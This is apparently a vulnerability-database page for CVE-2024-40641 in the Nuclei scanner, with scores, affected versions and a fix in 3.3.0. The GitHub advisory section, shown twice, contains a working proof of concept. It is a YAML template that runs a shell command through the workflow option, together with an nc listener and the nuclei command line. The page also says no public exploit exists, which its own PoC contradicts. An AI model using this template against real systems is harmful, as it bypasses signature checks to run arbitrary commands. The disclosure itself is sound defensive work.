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CVE-2024-40641

Unsigned code template execution through workflows in projectdiscovery/nuclei

7.4 HighFix available

Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.31%Up 0.3 points since Jul 18, 2024
90%50%10%1%

What each source reports

CVE List Score used 7.4

Unsigned code template execution through workflows in projectdiscovery/nuclei

Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-40641
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2024-2317 7.4

Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
EUVD-2024-2317
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-c3q9-c27p-cw9h 8.8

projectdiscovery/nuclei allows unsigned code template execution through workflows

Summary

Find a way to execute code template without -code option and signature.

Details

write a code.yaml:

id: code

info:
  name: example code template
  author: ovi3


code:
  - engine:
      - sh
      - bash
    source: |
      id

http:
  - raw:
      - |
        POST /re HTTP/1.1
        Host: {{Hostname}}

        {{code_response}}

workflows:
  - matchers:
    - name: t

using nc to listen on 80:

nc -lvvnp 80

execute PoC template with nuclei:

./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug

and nc will get id command output.

We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.

Test in Linux and Nuclei v3.2.9

Impact

Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)

Record
GHSA-c3q9-c27p-cw9h
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-78
Updated
2026-11-02
NVD 7.4

Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-40641
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-78
Updated
2026-11-02
OSV 7.4

Unsigned code template execution through workflows in projectdiscovery/nuclei

Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2024-40641
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-c3q9-c27p-cw9h 8.8

projectdiscovery/nuclei allows unsigned code template execution through workflows

Summary

Find a way to execute code template without -code option and signature.

Details

write a code.yaml:

id: code

info:
  name: example code template
  author: ovi3


code:
  - engine:
      - sh
      - bash
    source: |
      id

http:
  - raw:
      - |
        POST /re HTTP/1.1
        Host: {{Hostname}}

        {{code_response}}

workflows:
  - matchers:
    - name: t

using nc to listen on 80:

nc -lvvnp 80

execute PoC template with nuclei:

./nuclei -disable-update-check  -w code.yaml -u http://127.0.0.1 -vv -debug

and nc will get id command output.

We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.

Test in Linux and Nuclei v3.2.9

Impact

Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)

Record
GHSA-c3q9-c27p-cw9h
CVSS 4.0
8.8 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS 3.1
7.4 HighCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-78
Updated
2026-11-02
OSVGO-2024-2989 No score

projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei

projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei

Record
GO-2024-2989
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/projectdiscovery/nuclei/v3
Go
before 3.3.0
3.3.0
github.com/projectdiscovery/nuclei
Go
All versions None known
github.com/projectdiscovery/nuclei/v2
Go
All versions None known

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-40641 is a high vulnerability (CVSS 7.4) in Projectdiscovery Nuclei, published July 17, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in github.com/projectdiscovery/nuclei/v3 3.3.0.

References

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